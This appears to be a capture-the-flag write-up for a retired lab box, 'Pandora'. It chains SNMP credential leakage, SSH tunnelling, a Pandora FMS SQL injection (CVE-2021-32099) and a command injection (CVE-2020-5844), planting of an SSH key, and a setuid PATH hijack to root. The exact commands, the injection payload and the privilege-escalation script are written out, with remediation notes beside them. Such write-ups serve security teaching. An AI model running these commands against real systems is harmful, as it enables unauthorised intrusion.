Pandora
Summary
My scanning UDP discovered SNMP open on the target alongside the public HTTP and SSH services. Walking the SNMP process table with the default 'public' community string required no authentication and returned plaintext SSH credentials embedded in a running process's command-line arguments, granting an immediate low-privilege shell as the user daniel. From that foothold, a second HTTP service bound exclusively to localhost was discovered and exposed via SSH port-forwarding, revealing an internal Pandora FMS 7.0NG.742 console.
An unauthenticated SQL injection in the console's session-management code (CVE-2021-32099) forged a fully-privileged admin cookie without ever knowing the admin password. That admin session was handed to a separate authenticated command-injection flaw on the Events page (CVE-2020-5844), achieving code execution as the web-server user. I used that RCE to write an SSH public key into a second user's (matt) authorized_keys file, converting the one-shot injection channel into a persistent interactive shell.
Finally, a setuid-root backup binary invoked tar without an absolute path; placing a malicious tar script first in $PATH before running the binary produced a root shell and full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sU -p 161,162 --open -Pn -T4 $TARGETsnmpwalk -v2c -c public -t 3 -r 1 $TARGET 1.3.6.1.2.1.25.4.2.1.5FixRestrict SNMP to trusted management hosts and stop passing secrets as process argumentsCritical
Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null daniel@$TARGET 'id; hostname; ss -ltnp 2>/dev/null | grep -E "127.0.0.1:|:80|:3306"; find /home -name user.txt -maxdepth 3 -exec ls -l {} \; 2>/dev/null'Exact commands 3
sshpass -p "$PASSWORD" ssh -fN -L 9001:127.0.0.1:80 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null daniel@$TARGETcurl -s http://127.0.0.1:9001/pandora_console/ | grep -iE "version|pandora"sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no daniel@$TARGET 'grep -n "session_id" /var/www/html/pandora_console/include/chart_generator.php | head -30'FixPatch Pandora FMS to close the unauthenticated SQL injection (CVE-2021-32099)Critical
Exact commands 1
payload="' UNION SELECT 'x',1672531200,'id_usuario|s:5:\"admin\";'-- -"; curl -sv -c /tmp/pandora_admin.cookie -b /tmp/pandora_admin.cookie --get --data-urlencode "session_id=${payload}" http://127.0.0.1:9001/pandora_console/include/chart_generator.php 2>&1 | grep -i 'set-cookie'Exact commands 1
python3 50961.py -t 127.0.0.1 9001 -p <forged_PHPSESSID> -c 'id; whoami; cat /home/matt/user.txt'FixPatch Pandora FMS to close the authenticated RCE and run the web service as a least-privilege account (CVE-2020-5844)Critical
Exact commands 3
ssh-keygen -t ed25519 -N '' -f /tmp/pandora_matt_ed25519python3 50961.py -t 127.0.0.1 9001 -p <forged_PHPSESSID> -c "mkdir -p /home/matt/.ssh && echo '<PASTE_CONTENTS_OF_pandora_matt_ed25519.pub_HERE>' >> /home/matt/.ssh/authorized_keys && chmod 600 /home/matt/.ssh/authorized_keys"ssh -i /tmp/pandora_matt_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null matt@$TARGET 'id; cat /home/matt/user.txt'Exact commands 2
ssh -i /tmp/pandora_matt_ed25519 -o StrictHostKeyChecking=no matt@$TARGET 'strings /usr/bin/pandora_backup | grep -E "tar|backup|PATH|/bin|sh"'ssh -i /tmp/pandora_matt_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null matt@$TARGET 'D=$(mktemp -d /tmp/pb.XXXXXX); printf "#!/bin/sh\n/bin/bash -p\n" > $D/tar; chmod +x $D/tar; PATH=$D:$PATH /usr/bin/pandora_backup'FixRemove the setuid bit from pandora_backup or rewrite it to call tar by its absolute pathHigh
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 161/udp | snmp |